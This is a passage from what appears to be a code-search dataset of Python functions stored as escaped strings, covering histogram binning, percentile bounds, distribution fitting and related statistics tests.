float(validsize)/50:\n count += np.round(hist[top_bin])\n top_bin -= 1\n top_bin += 1\n thresh98 = mini + (float(top_bin) + 1) * fA\n\n if jump == max_jumps:\n break\n\n jump += 1\n\n minval = thresh2\n maxval = thresh98\n return minval, maxval","def test_nonmonotonic_bins(self):\n\n with pytest.raises(ValueError) as verr:\n avg.median2D(self.testInst, np.array([0., 300., 100.]), 'longitude',\n np.array([0., 24., 13.]), 'mlt',\n ['dummy1', 'dummy2', 'dummy3'], auto_bin=False)\n\n estr = 'bins must be monotonically increasing or decreasing'\n assert str(verr).find(estr) >= 0\n\n return","def bininator(magbins, dlt, mags, err):\n meds = np.zeros_like(magbins)\n for i in range(len(magbins)):\n ind = (mags > magbins[i] - dlt) & (mags <= magbins[i] + dlt)\n ind = ind & (err < 10.)\n meds[i] = np.median(err[ind])\n return meds","def get_bins(data) :\n\tbins=np.unique(data)\n\treturn np.append(bins[~np.isnan(bins)], max(bins) +1)","def bucket_boundaries(self, bucket):\n\n if bucket < 0 or bucket >= self.total_buckets:\n raise IndexError('bucket %d out of range' % bucket)\n if bucket == self.total_buckets - 1:\n return (self._lower_bounds[bucket], float('Inf'))\n return (self._lower_bounds[bucket], self._lower_bounds[bucket + 1])","def get_qual_stats(qual_bins, score_min):\r\n\r\n ave_bins = []\r\n std_dev_bins = []\r\n total_bases_bins = []\r\n\r\n found_first_poor_qual_pos = False\r\n\r\n suggested_trunc_pos = None\r\n\r\n for base_position in qual_bins:\r\n\r\n total_bases_bins.append(len(base_position))\r\n\r\n std_dev_bins.append(std(base_position))\r\n\r\n ave_bins.append(average(base_position))\r\n\r\n if not found_first_poor_qual_pos:\r\n if average(base_position) < score_min:\r\n suggested_trunc_pos = qual_bins.index(base_position)\r\n found_first_poor_qual_pos = True\r\n\r\n return ave_bins, std_dev_bins, total_bases_bins, suggested_trunc_pos","def hist_bin_opt (x, minbin=20, maxbin=600, spacing=10, N_trials=1):\n bin_checks = np.arange(minbin, maxbin, spacing)\n # bin_checks = np.linspace(150, 300, 16)\n costs = np.zeros(len(bin_checks))\n i = 0\n # this might be vectorizable in np\n for n_bins in bin_checks:\n # use np.histogram to do the numerical minimization\n pdf, bin_edges = np.histogram(x, n_bins)\n # calculate bin width\n # some discrepancy here but should be fine\n w_bin = np.unique(np.diff(bin_edges))\n if len(w_bin) > 1: w_bin = w_bin[0]\n # calc mean and var\n kbar = np.mean(pdf)\n kvar = np.var(pdf)\n # calc cost\n costs[i] = (2.*kbar - kvar) / (N_trials * w_bin)**2.\n i += 1\n # find the bin size corresponding to a minimization of the costs\n bin_opt_list = bin_checks[costs.min() == costs]\n bin_opt = bin_opt_list[0]\n return bin_opt","def test_numpy_bins(self):\n # Load the data from the fixture\n data = load_occupancy(return_dataset=True)\n X, y = data.to_numpy()\n\n visualizer = BalancedBinningReference()\n visualizer.fit(y)\n visualizer.finalize()\n self.assert_images_similar(visualizer, tol=0.5)","def rvsWithinbounds(self,lowerBound,upperBound):\n CDFupper = self._distribution.cdf(upperBound)\n CDFlower = self._distribution.cdf(lowerBound)\n randResult = self.rvsWithinCDFbounds(CDFlower,CDFupper)\n return randResult","def plot_percentile_bounds_vs_x(sps, x, y, q=25, nbins=15, pcol='blue', scol='orange', sorted=True, line_alpha=1):\n if min(x) == max(x):\n return\n bins = np.linspace(min(x), max(x), nbins + 1)\n\n if not sorted:\n inds = np.argsort(x)\n x = x[inds]\n y = y[inds]\n\n inds = np.digitize(x, bins[1:], right=True) # assume x data is sorted\n base = []\n h1 = []\n m_new = []\n h2 = []\n cc = 0\n no_dist = 0\n for j in range(0, nbins):\n lh = np.searchsorted(inds, j, side='left')\n rh = np.searchsorted(inds, j, side='right')\n\n if lh == rh:\n cc += 0 # change this to 1 if you want limit\n else:\n vals = y[lh:rh]\n xxx = (x[lh:lh+1][0] + x[rh-1:rh][0]) / 2\n median = np.median(vals)\n p_lb = np.percentile(vals, q)\n p_ub = np.percentile(vals, 100 - q)\n\n base.append(xxx)\n h1.append(p_lb)\n m_new.append(median)\n h2.append(p_ub)\n cc = 0\n if cc >= 2:\n no_dist = 1\n if no_dist == 0:\n sps.plot(base, m_new, c=pcol, label='Mean')\n sps.fill_between(base, h1, h2, facecolor=scol, alpha=0.3)\n lab = f'{q} - {100-q} %'\n sps.plot(base, h1, c=scol, alpha=line_alpha, label=lab)\n sps.plot(base, h2, c=scol, alpha=line_alpha)","def get_selected_bin_low_median(self, hist, bin_edges, assigned_digits, original_values):\n PRINT_OUTPUT = False\n\n bin_max_index = np.where(hist == hist.max())\n refactored_index = bin_max_index[0].max()\n\n # special case: refactor maximum index, when there are multiple equal maximum values in histogram\n max_histo_value = hist[refactored_index]\n all_max_indices = []\n\n for hist_index, hist_value in enumerate(hist):\n if hist_value == max_histo_value:\n all_max_indices.append(hist_index)\n\n\n # adapt the index for special case, take the middle value in the distribution\n\n # my_custom_median_index = np.where(all_max_indices == np.median(all_max_indices))\n\n new_refactored_index = int(stats.median_low(all_max_indices))\n\n # additional condition for setting breakpoint\n if refactored_index != new_refactored_index:\n refactored_index = new_refactored_index\n\n values_in_this_bin = []\n for index_ad, ad in enumerate(assigned_digits):\n ad -= 1\n if ad == refactored_index:\n values_in_this_bin.append(original_values[index_ad])\n\n\n mean_val = np.mean(values_in_this_bin)\n final_mean = int(np.round(mean_val))\n return final_mean\n\n # detected_edges = bin_edges[bin_max_index]\n # detected_edge = detected_edges[0]\n\n # if PRINT_OUTPUT is True:\n # print('maxbin', detected_edge)\n\n # return detected_edge","def normalize(self, slice, bottom=99, down=1):\n b = np.percentile(slice, bottom)\n t = np.percentile(slice, down)\n slice = np.clip(slice, t, b)\n\n image_nonzero = slice[np.nonzero(slice)]\n if np.std(slice) == 0 or np.std(image_nonzero) == 0:\n return slice\n else:\n tmp = (slice - np.mean(image_nonzero)) / np.std(image_nonzero)\n # since the range of intensities is between 0 and 5000 ,\n # the min in the normalized slice corresponds to 0 intensity in unnormalized slice\n # the min is replaced with -9 just to keep track of 0 intensities\n # so that we can discard those intensities afterwards when sampling random patches\n tmp[tmp == tmp.min()] = -9\n return tmp","def getMistagBinBounds(config, mistag, mistagdistrib):\n mistag.setBins(1000, 'MistagBinBounds')\n from ROOT import RooArgSet, RooHistPdf, RooDataHist\n if (mistagdistrib.InheritsFrom('RooAbsData') and not\n mistagdistrib.InheritsFrom('RooDataHist')):\n # ok, unbinned data set, get only tagged events, and form a binned clone\n argset = RooArgSet(mistag)\n mistagdistrib = mistagdistrib.reduce(\n RooFit.SelectVars(argset), RooFit.cut('0 != qt'))\n ROOT.SetOwnership(mistagdistrib, True)\n dhist = RooDataHist(\n '%s_binned' % mistagdistrib.GetName(),\n '%s_binned' % mistagdistrib.GetName(),\n mistagdistrib.get(), 'MistagBinBounds')\n dhist.add(mistagdistrib)\n mistagdistrib = dhist\n if mistagdistrib.InheritsFrom('RooAbsData'):\n # convert a binned dataset to a RooHistPdf\n dhist = mistagdistrib\n mistagdistrib = RooHistPdf('%s_pdf' % dhist.GetName(),\n '%s_pdf' % dhist.GetName(), RooArgSet(mistag), dhist)\n if (mistagdistrib.InheritsFrom('RooAbsPdf')):\n # use createCdf to obtain the CDF\n cdfroofit = mistagdistrib.createCdf(\n RooArgSet(mistag), RooArgSet(mistag))\n ROOT.SetOwnership(cdfroofit, True)\n def cdf(x):\n oldval = mistag.getVal()\n mistag.setVal(x)\n retVal = cdfroofit.getVal()\n mistag.setVal(oldval)\n return retVal\n if (mistagdistrib.InheritsFrom('RooHistPdf') and\n (abs(cdf(mistag.getMin())) > 1e-9 or\n abs(cdf(mistag.getMax()) - 1.) > 1e-9)):\n # createCdf does not work properly for RooHistPdf in older ROOT\n # versions because RooHistPdf does not support integrals over\n # subranges, so we have to fake this functionality until it's\n # supported by RooFit upstream\n #\n # capture histogram bin boundaries and contents\n print 'WARNING: Your version of RooFit still has buggy analytical ' \\\n 'integrals for RooHistPdf - activating workaround.'\n binboundlist = mistagdistrib.binBoundaries(\n mistag, mistag.getMin(), mistag.getMax())\n ROOT.SetOwnership(binboundlist, True)\n binbounds = [ v for v in binboundlist ]\n del binboundlist\n bincontents = [ ]\n oldval = mistag.getVal()\n for i in xrange(0, len(binbounds) - 1):\n mistag.setVal(0.5 * (binbounds[i] + binbounds[i + 1]))\n bincontents.append(mistagdistrib.getValV(RooArgSet(mistag)))\n mistag.setVal(oldval)\n # build CDF from histogram\n def cdf(x):\n s = 0.\n for i in xrange(0, len(binbounds) - 1):\n if x < binbounds[i]:\n break\n elif x >= binbounds[i + 1]:\n s += bincontents[i]\n else:\n s += (bincontents[i] * (x - binbounds[i]) /\n (binbounds[i + 1] - binbounds[i]))\n break\n return s\n # find x for which f(x) = y by bisection\n def mybisect(y, f, lo, hi):\n initdx = abs(hi - lo)\n flo, fhi = f(lo) - y, f(hi) - y\n if 0. == flo: return lo\n elif 0. == fhi: return hi\n mid = .5 * (lo + hi)\n while (abs(hi - lo) > 1e-15 and abs(hi - lo) / initdx > 1e-15):\n fmid = f(mid) - y\n if 0. == fmid: break\n elif flo * fmid < 0.: hi, fhi = mid, fmid\n elif fmid * fhi < 0.: lo, flo = mid, fmid\n else: raise ValueError('no sign change in f(x) between %g and %g'\n % (lo, hi))\n mid = .5 * (lo + hi)\n return mid\n # find binning with roughly same stats by inverting the CDF by bisection\n lo, hi, binsum = mistag.getMin(), mistag.getMax(), cdf(mistag.getMax())\n retVal = [ lo ]\n for i in xrange(1, config['NMistagCategories']):\n retVal.append(mybisect(binsum *\n float(i) / float(config['NMistagCategories']), cdf, lo, hi))\n retVal.append(hi)\n print 'INFO: suggested mistag category bounds: %s' % str(retVal)\n return retVal","def binning(x, y, xmin=None, xmax=None, dx=1 / 12.,\r\n window=3 / 12., interp=False, median=False):\r\n if xmin is None:\r\n xmin = np.nanmin(x)\r\n if xmax is None:\r\n xmax = np.nanmax(x)\r\n\r\n steps = np.arange(xmin, xmax, dx) # time steps\r\n bins = [(ti, ti + window) for ti in steps] # bin limits\r\n\r\n N = len(bins)\r\n yb = np.full(N, np.nan)\r\n xb = np.full(N, np.nan)\r\n eb = np.full(N, np.nan)\r\n nb = np.full(N, np.nan)\r\n sb = np.full(N, np.nan)\r\n\r\n for i in range(N):\r\n\r\n t1, t2 = bins[i]\r\n idx, = np.where((x >= t1) & (x <= t2))\r\n\r\n if len(idx) == 0:\r\n xb[i] = 0.5 * (t1 + t2)\r\n continue\r\n\r\n ybv = y[idx]\r\n\r\n if median:\r\n yb[i] = np.nanmedian(ybv)\r\n else:\r\n yb[i] = np.nanmean(ybv)\r\n\r\n xb[i] = 0.5 * (t1 + t2)\r\n eb[i] = mad_std(ybv)\r\n nb[i] = np.sum(~np.isnan(ybv))\r\n sb[i] = np.sum(ybv)\r\n\r\n if interp:\r\n try:\r\n yb = np.interp(x, xb, yb)\r\n eb = np.interp(x, xb, eb)\r\n sb = np.interp(x, xb, sb)\r\n xb = x\r\n except:\r\n pass\r\n\r\n return xb, yb, eb, nb, sb","def find_abs_bound_range(self, results_dict, keys, avg_over=5):\n max_averages = []\n min_averages = []\n for key in keys:\n result_data = results_dict[key].data\n # compress to remove masked values\n sorted_data = np.sort(result_data.compressed())\n # select the \"avg_over\" extreme values from the array\n # and find it's average value\n max_average_data = np.average(sorted_data[-avg_over:])\n min_average_data = np.average(sorted_data[:avg_over])\n max_averages.append(max_average_data)\n min_averages.append(min_average_data)\n\n # the maximum absolute value for the bound\n abs_max = np.abs(np.max(max_averages))\n abs_min = np.abs(np.min(min_averages))\n max_bound = np.max([abs_min, abs_max])\n\n # find the bound candidate suited for the bound range\n index = np.argwhere(self.bound_candidates - max_bound > 0)[0, 0]\n\n return self.bound_candidates[index]","def best_fit_distribution(data, bins=200, ax=None):\n # Get histogram of original data\n y, x = np.histogram(data, bins=bins, density=True)\n x = (x + np.roll(x, -1))[:-1] / 2.0\n\n # Distributions to check\n # DISTRIBUTIONS = [\n # st.alpha, st.anglit, st.arcsine, st.beta, st.betaprime, st.bradford, st.burr, st.cauchy, st.chi, st.chi2,\n # st.cosine,\n # st.dgamma, st.dweibull, st.erlang, st.expon, st.exponnorm, st.exponweib, st.exponpow, st.f, st.fatiguelife,\n # st.fisk,\n # st.foldcauchy, st.foldnorm, st.frechet_r, st.frechet_l, st.genlogistic, st.genpareto, st.gennorm, st.genexpon,\n # st.genextreme, st.gausshyper, st.gamma, st.gengamma, st.genhalflogistic, st.gilbrat, st.gompertz, st.gumbel_r,\n # st.gumbel_l, st.halfcauchy, st.halflogistic, st.halfnorm, st.halfgennorm, st.hypsecant, st.invgamma,\n # st.invgauss,\n # st.invweibull, st.johnsonsb, st.johnsonsu, st.ksone, st.kstwobign, st.laplace, st.levy, st.levy_l,\n # st.levy_stable,\n # st.logistic, st.loggamma, st.loglaplace, st.lognorm, st.lomax, st.maxwell, st.mielke, st.nakagami, st.ncx2,\n # st.ncf,\n # st.nct, st.norm, st.pareto, st.pearson3, st.powerlaw, st.powerlognorm, st.powernorm, st.rdist, st.reciprocal,\n # st.rayleigh, st.rice, st.recipinvgauss, st.semicircular, st.t, st.triang, st.truncexpon, st.truncnorm,\n # st.tukeylambda,\n # st.uniform, st.vonmises, st.vonmises_line, st.wald, st.weibull_min, st.weibull_max, st.wrapcauchy\n # ]\n\n DISTRIBUTIONS = [\n st.beta, st.betaprime, st.cauchy, st.chi, st.chi2,\n st.cosine,\n st.expon, st.exponnorm, st.exponweib, st.exponpow,\n st.frechet_r, st.frechet_l,\n st.gamma,\n st.invgauss,\n st.johnsonsb, st.johnsonsu, st.laplace,\n st.logistic, st.loggamma, st.loglaplace, st.lognorm,\n st.pearson3, st.powerlaw, st.powerlognorm,\n st.tukeylambda,\n st.uniform\n ]\n\n # DISTRIBUTIONS = [getattr(st, distname) for distname in _distn_names]\n\n # Best holders\n best_distribution = st.norm\n best_params = (0.0, 1.0)\n best_sse = np.inf\n\n # Estimate distribution parameters from data\n for distribution in tqdm(DISTRIBUTIONS):\n\n # Try to fit the distribution\n try:\n # Ignore warnings from data that can't be fit\n with warnings.catch_warnings():\n warnings.filterwarnings('ignore')\n\n # fit dist to data\n params = distribution.fit(data)\n\n # Separate parts of parameters\n arg = params[:-2]\n loc = params[-2]\n scale = params[-1]\n\n # Calculate fitted PDF and error with fit in distribution\n pdf = distribution.pdf(x, loc=loc, scale=scale, *arg)\n sse = np.sum(np.power(y - pdf, 2.0))\n\n # if axis pass in add to plot\n try:\n if ax:\n pd.Series(pdf, x).plot(ax=ax)\n # end\n except Exception:\n pass\n\n # identify if this distribution is better\n if best_sse > sse > 0:\n best_distribution = distribution\n best_params = params\n best_sse = sse\n\n except Exception:\n pass\n\n return best_distribution.name, best_params","def test_bins(self):\n min_val = 0\n max_val = 1\n buckets = 10\n values_per_bucket = 10\n\n import numpy\n\n data = list(numpy.linspace(min_val, max_val, buckets * values_per_bucket))\n bins = numpy.linspace(min_val, max_val + sys.float_info.epsilon, buckets + 1)\n digitized = numpy.digitize(data, bins)\n counts = numpy.bincount(digitized)\n self.assertEqual(buckets + 1, len(counts))\n self.assertEqual(0, counts[0])\n for bucket in counts[1:]:\n self.assertEqual(values_per_bucket, bucket)","def percentile_normalization(data: np.ndarray, percentile: int = 1) -> np.ndarray:\n\n min_percentile = np.percentile(data, percentile)\n max_percentile = np.percentile(data, 100 - percentile)\n\n # limit maximum intensity of data by max_percentile\n data[data >= max_percentile] = max_percentile\n\n # limit minimum intensity of data by min_percentile\n data[data <= min_percentile] = min_percentile\n\n return data","def heckbert_interval(data_low, data_high, numticks=8, nicefunc=_nice, enclose=False):\n if data_high == data_low:\n return data_high, data_low, 0\n if numticks == 0:\n numticks = 1\n\n range = nicefunc(data_high - data_low)\n if numticks > 1:\n numticks -= 1\n d = nicefunc(range / numticks, round=True)\n if enclose:\n graphmin = ceil(data_low / d) * d\n graphmax = floor(data_high / d) * d\n else:\n graphmin = floor(data_low / d) * d\n graphmax = ceil(data_high / d) * d\n return graphmin, graphmax, d","def fd_no_bins(y):\n q75, q25 = np.percentile(y, [75 ,25])\n iqr = q75 - q25\n h=2*iqr*len(y)**(-1./3) \n return int((max(y)-min(y))/h)","def test_conf_interval_normal_method_with_bounds(data):\n df = data[\"df\"]\n new_df = data[\"new_df\"]\n # ``quantile_estimation_method = \"normal_fit\"``\n # with enforced lower limit (``min_admissible_value``)\n ci_model = conf_interval(\n df=df,\n value_col=\"y\",\n residual_col=\"residual\",\n conditional_cols=[\"x\"],\n quantiles=[0.005, 0.025, 0.975, 0.995],\n quantile_estimation_method=\"normal_fit\",\n sample_size_thresh=5,\n small_sample_size_method=\"std_quantiles\",\n small_sample_size_quantile=0.95,\n min_admissible_value=290.0,\n max_admissible_value=None)\n\n pred_df = predict_ci(\n new_df,\n ci_model)\n assert list(pred_df.columns) == [\"x\", \"y_quantile_summary\", ERR_STD_COL], (\n \"pred_df does not have the expected column names\")\n pred_df[\"y_quantile_summary\"] = pred_df[\"y_quantile_summary\"].apply(\n lambda x: tuple(round(e, 2) for e in x))\n assert pred_df[\"y_quantile_summary\"].values[5] == (290.0, 290.25, 292.54, 292.9), (\n \"quantiles are incorrect\")\n assert pred_df[\"y_quantile_summary\"].values[11] == (290.0, 290.0, 290.0, 290.0), (\n \"quantiles are incorrect\")","def calc_stats(data):\n x = np.asarray(data, np.float)\n vals_min = np.min(x)\n vals_max = np.max(x)\n q2 = np.percentile(x, 50, interpolation='linear')\n q1 = np.percentile(x, 25, interpolation='lower')\n q3 = np.percentile(x, 75, interpolation='higher')\n iqr = q3 - q1\n whisker_dist = 1.5 * iqr\n\n # in order to prevent drawing whiskers outside the interval\n # of data one defines the whisker positions as:\n d1 = np.min(x[x >= (q1 - whisker_dist)])\n d2 = np.max(x[x <= (q3 + whisker_dist)])\n return {\n 'min': vals_min,\n 'max': vals_max,\n 'q1': q1,\n 'q2': q2,\n 'q3': q3,\n 'd1': d1,\n 'd2': d2\n }","def get_srr_bins(p_data):\n \n n_data = len(p_data)\n \n n_bins = np.sqrt(n_data)\n \n return int(n_bins)","def min_max_outliers(res, min=None, max=None):\n min_max_list = []\n if isinstance(min, (int, float)):\n data1 = res[res < min].reset_index()\n data1['limit type'] = 'minimum'\n data1['limit'] = min\n min_max_list.append(data1)\n if isinstance(max, (int, float)):\n data1 = res[res > max].reset_index()\n data1['limit type'] = 'maximum'\n data1['limit'] = max\n min_max_list.append(data1)\n\n min_max1 = pd.concat(min_max_list)\n\n return min_max1","def efficient_Make_Binned_ROC_histograms(title, data, bins, PU_range='full'):\n diff_ran = (-25,25)\n diff_bins = diff_ran[1]-diff_ran[0]\n ratio_ran = (0,10)\n ratio_bins = 60\n\n Diff_hist_list = []\n Ratio_hist_list = []\n CSV_hist_list = []\n ZeroDiv_list = []\n for bin_ in range(len(bins)-1):\n Diff_hist_list.append(rt.TH1D(\"L4-L1_\"+str(bins[bin_])+\"_\"+str(bins[bin_+1]),\"L4-L1_\"+str(bins[bin_])+\"_\"+str(bins[bin_+1]),diff_bins,diff_ran[0],diff_ran[1]))\n Ratio_hist_list.append(rt.TH1D(\"L4_L1_\"+str(bins[bin_])+\"_\"+str(bins[bin_+1]),\"L4_L1_\"+str(bins[bin_])+\"_\"+str(bins[bin_+1]),ratio_bins,ratio_ran[0],ratio_ran[1]))\n CSV_hist_list.append(rt.TH1D(\"CSV_\"+str(bins[bin_])+\"_\"+str(bins[bin_+1]),\"CSV_\"+str(bins[bin_])+\"_\"+str(bins[bin_+1]),ratio_bins,0,1))\n ZeroDiv_list.append(0)\n\n for particle in data:\n if PU_range != 'full':\n if particle[-1]<PU_range[0] or particle[-1]>PU_range[1]: continue\n bin_number = FCM.bin_selection(particle,bins)\n if bin_number == -100: continue\n\n Diff_hist_list[bin_number].Fill(particle[8]-particle[5])\n CSV_hist_list[bin_number].Fill(particle[1])\n if particle[17] != 0:\n L4_L1 = particle[20]/particle[17]\n Ratio_hist_list[bin_number].Fill(L4_L1)\n else:\n ZeroDiv_list[bin_number] += 1\n\n tfile = rt.TFile(\"Thesis_Plots/root_files/{}_histograms.root\".format(title),\"recreate\")\n for hist in Diff_hist_list:\n hist.Write()\n for hist in Ratio_hist_list:\n hist.Write()\n for hist in CSV_hist_list:\n hist.Write()\n print \"saved histograms in Thesis_Plots/root_files/{}_histograms.root\".format(title)\n\n csv_file = open(\"Thesis_Plots/root_files/{}_ZeroDiv.csv\".format(title),\"wb\")\n writer = csv.writer(csv_file)\n writer.writerow(ZeroDiv_list)\n csv_file.close()\n print \"saved zero division occurences in Thesis_Plots/root_files/{}_ZeroDiv.csv\".format(title)","def bin_stats(x,y,xbins,stat='average'):\n nbins=len(xbins)\n if stat=='average' or stat=='mean': func=mean\n elif stat=='median': func=median\n elif stat=='rms' or stat=='std' : func=std\n elif stat=='std_robust' or stat=='rms_robust': func=std_robust\n elif stat=='mean_robust': func=mean_robust\n elif stat=='median_robust': func=median_robust\n elif stat=='sum': func=sum\n results=[]\n for i in range(nbins):\n if i<nbins-1:\n good=(greater_equal(x,xbins[i])\n *less(x,xbins[i+1]))\n else: good=(greater_equal(x,xbins[-1]))\n if sum(good)>1.: results.append(func(compress(good,y)))\n else:\n results.append(0.)\n print('Bin starting at xbins[%i] has %i points' % (i,sum(good)))\n return array(results)","def get_overlap_values(self, cbins, rbins, thbins):\n\n\t\tdr = (cbins - 0.5) / rbins\n\t\tdth = (pi / 2) / thbins\n\t\tthbins_reduced = int(ceil(thbins / 2))\n\n\t\tdef overlap_value(x, y, r, th):\n\t\t\t\"\"\"\n\t\t\tFind the overlap area between a cartesian and a polar bin.\n\t\t\t\"\"\"\n\n\t\t\tthmin = max(th - dth/2, atan2(y - 0.5, x + 0.5))\n\t\t\tthmax = min(th + dth/2, atan2(y + 0.5, x - 0.5))\n\n\t\t\trin = lambda theta: maximum(r - dr/2, maximum((x - 0.5) / npcos(theta), (y - 0.5) / npsin(theta)))\n\t\t\trout = lambda theta: minimum(r + dr/2, minimum((x + 0.5) / npcos(theta), (y + 0.5) / npsin(theta)))\n\n\t\t\tintegrand = lambda theta: maximum(rout(theta)**2 - rin(theta)**2, 0)\n\n\t\t\treturn 0.5 * quad(integrand, thmin, thmax)[0]\n\n\t\texpected = int(pi*rbins**2)\n\t\trs = empty(expected, dtype=int)\n\t\tths = empty(expected, dtype=int)\n\t\txs = empty(expected, dtype=int)\n\t\tys = empty(expected, dtype=int)\n\t\tvals = empty(expected, dtype=float)\n\t\tfound = 0\n\n\t\tfor thi in arange(thbins_reduced):\n\t\t\tth = (thi + 0.5) * dth\n\t\t\tfor ri in arange(rbins):\n\t\t\t\tr = (ri + 0.5) * dr\n\t\t\t\tfor x in arange(round((r - dr/2) * cos(th + dth/2)), min(cbins, round((r + dr/2) * cos(th - dth/2)) + 1)):\n\t\t\t\t\tfor y in arange(round((r - dr/2) * sin(th - dth/2)), min(cbins, round((r + dr/2) * sin(th + dth/2)) + 1)):\n\t\t\t\t\t\tif ((x - 0.5)**2 + (y - 0.5)**2 < (r + dr/2)**2) and \\\n\t\t\t\t\t\t ((x + 0.5)**2 + (y + 0.5)**2 > (r - dr/2)**2) and \\\n\t\t\t\t\t\t (atan2(y + 0.5, x - 0.5) > th - dth/2) and \\\n\t\t\t\t\t\t (atan2(y - 0.5, x + 0.5) < th + dth/2):\n\t\t\t\t\t\t area = overlap_value(x, y, r, th)\n\t\t\t\t\t\t if area > 0:\n\t\t\t\t\t\t \trs[found] = ri\n\t\t\t\t\t\t \tths[found] = thi\n\t\t\t\t\t\t \txs[found] = x\n\t\t\t\t\t\t \tys[found] = y\n\t\t\t\t\t\t \tvals[found] = area\n\t\t\t\t\t\t \tfound+=1\n\n\t\treturn rs[:found], ths[:found], xs[:found], ys[:found], vals[:found]","def get_column_hist(self, column, bins):\n case_conditions = []\n idx = 0\n bins = list(bins)\n\n # If we have an infinte lower bound, don't express that in sql\n if (\n bins[0]\n == get_sql_dialect_floating_point_infinity_value(\n schema=\"api_np\", negative=True\n )\n ) or (\n bins[0]\n == get_sql_dialect_floating_point_infinity_value(\n schema=\"api_cast\", negative=True\n )\n ):\n case_conditions.append(\n sa.func.sum(\n sa.case([(sa.column(column) < bins[idx + 1], 1)], else_=0)\n ).label(\"bin_\" + str(idx))\n )\n idx += 1\n\n for idx in range(idx, len(bins) - 2):\n case_conditions.append(\n sa.func.sum(\n sa.case(\n [\n (\n sa.and_(\n sa.column(column) >= bins[idx],\n sa.column(column) < bins[idx + 1],\n ),\n 1,\n )\n ],\n else_=0,\n )\n ).label(\"bin_\" + str(idx))\n )\n\n if (\n bins[-1]\n == get_sql_dialect_floating_point_infinity_value(\n schema=\"api_np\", negative=False\n )\n ) or (\n bins[-1]\n == get_sql_dialect_floating_point_infinity_value(\n schema=\"api_cast\", negative=False\n )\n ):\n case_conditions.append(\n sa.func.sum(\n sa.case([(sa.column(column) >= bins[-2], 1)], else_=0)\n ).label(\"bin_\" + str(len(bins) - 1))\n )\n else:\n case_conditions.append(\n sa.func.sum(\n sa.case(\n [\n (\n sa.and_(\n sa.column(column) >= bins[-2],\n sa.column(column) <= bins[-1],\n ),\n 1,\n )\n ],\n else_=0,\n )\n ).label(\"bin_\" + str(len(bins) - 1))\n )\n\n query = (\n sa.select(case_conditions)\n .where(\n sa.column(column) != None,\n )\n .select_from(self._table)\n )\n\n # Run the data through convert_to_json_serializable to ensure we do not have Decimal types\n hist = convert_to_json_serializable(list(self.engine.execute(query).fetchone()))\n return hist","def getstretchlimits(tiffile):\n im = gdal.Open(tiffile)\n imarray = np.dstack(\n [\n im.GetRasterBand(1).ReadAsArray(),\n im.GetRasterBand(2).ReadAsArray(),\n im.GetRasterBand(3).ReadAsArray(),\n ]\n )\n\n # imarray = imarray[imarray > 10] # get rid of the values near zero\n # return (imarray.dtype, imarray.shape)\n return [np.percentile(imarray, 1), np.percentile(imarray, 99)]","def best_fit_distribution(data, bins=200, ax=None):\n # Get histogram of original data\n y, x = np.histogram(data, bins=bins, density=True)\n x = (x + np.roll(x, -1))[:-1] / 2.0\n\n # Distributions to check\n DISTRIBUTIONS = [ \n st.alpha,st.anglit,st.arcsine,st.beta,st.betaprime,st.bradford,st.burr,st.cauchy,st.chi,st.chi2,st.cosine,\n st.dgamma,st.dweibull,st.erlang,st.expon,st.exponnorm,st.exponweib,st.exponpow,st.f,st.fatiguelife,st.fisk,\n st.foldcauchy,st.foldnorm,st.frechet_r,st.frechet_l,st.genlogistic,st.genpareto,st.gennorm,st.genexpon,\n st.genextreme,st.gausshyper,st.gamma,st.gengamma,st.genhalflogistic,st.gilbrat,st.gompertz,st.gumbel_r,\n st.gumbel_l,st.halfcauchy,st.halflogistic,st.halfnorm,st.halfgennorm,st.hypsecant,st.invgamma,st.invgauss,\n st.invweibull,st.johnsonsb,st.johnsonsu,st.ksone,st.kstwobign,st.laplace,st.levy,st.levy_l,st.levy_stable,\n st.logistic,st.loggamma,st.loglaplace,st.lognorm,st.lomax,st.maxwell,st.mielke,st.nakagami,st.ncx2,st.ncf,\n st.nct,st.norm,st.pareto,st.pearson3,st.powerlaw,st.powerlognorm,st.powernorm,st.rdist,st.reciprocal,\n st.rayleigh,st.rice,st.recipinvgauss,st.semicircular,st.t,st.triang,st.truncexpon,st.truncnorm,st.tukeylambda,\n st.uniform,st.vonmises,st.vonmises_line,st.wald,st.weibull_min,st.weibull_max,st.wrapcauchy\n ]\n\n # Best holders\n best_distribution = st.norm\n best_params = (0.0, 1.0)\n best_sse = np.inf\n\n # Estimate distribution parameters from data\n for distribution in DISTRIBUTIONS:\n\n # Try to fit the distribution\n try:\n # Ignore warnings from data that can't be fit\n with warnings.catch_warnings():\n warnings.filterwarnings('ignore')\n\n # fit dist to data\n params = distribution.fit(data)\n\n # Separate parts of parameters\n arg = params[:-2]\n loc = params[-2]\n scale = params[-1]\n\n # Calculate fitted PDF and error with fit in distribution\n pdf = distribution.pdf(x, loc=loc, scale=scale, *arg)\n sse = np.sum(np.power(y - pdf, 2.0))\n\n # if axis pass in add to plot\n try:\n if ax:\n pd.Series(pdf, x).plot(ax=ax)\n end\n except Exception:\n pass\n\n # identify if this distribution is better\n if best_sse > sse > 0:\n best_distribution = distribution\n best_params = params\n best_sse = sse\n\n except Exception:\n pass\n\n return (best_distribution.name, best_params)","def uncertainty_metric(actuals, upper_bound, lower_bound, avg_volume):\n # Assert that all the sizes are OK\n assert (len(lower_bound) == len(upper_bound)) == (len(actuals) == 24), \\\n \"We should have 24 sorted actuals, upper_bound and lower_bound intervals\"\n\n uncertainty_first6 = (\n # Wide intervals are penalized\n 0.85 * sum(abs(upper_bound[:6] - lower_bound[:6])) +\n 0.15 * 2 / 0.05 * (\n # If actuals are outside of the intervals, it adds error\n sum((lower_bound[:6] - actuals[:6]) * (actuals[:6] < lower_bound[:6])) +\n sum((actuals[:6] - upper_bound[:6]) * (actuals[:6] > upper_bound[:6]))\n )\n ) / (6 * avg_volume) * 100\n\n uncertainty_last18 = (\n 0.85 * sum(abs(upper_bound[6:] - lower_bound[6:])) +\n 0.15 * 2 / 0.05 * (\n sum((lower_bound[6:] - actuals[6:]) * (actuals[6:] < lower_bound[6:])) +\n sum((actuals[6:] - upper_bound[6:]) * (actuals[6:] > upper_bound[6:]))\n )\n ) / (18 * avg_volume) * 100\n\n return (0.6 * uncertainty_first6 + 0.4 * uncertainty_last18)","def _determine_histogram_bins(self, ma_maps):\n if isinstance(ma_maps, list):\n ma_values = self.masker.transform(ma_maps)\n elif isinstance(ma_maps, np.ndarray):\n ma_values = ma_maps.copy()\n else:\n raise ValueError(f\"Unsupported data type '{type(ma_maps)}'\")\n\n # Determine bins for null distribution histogram\n # Remember that numpy histogram bins are bin edges, not centers\n # Assuming values of 0, .001, .002, etc., bins are 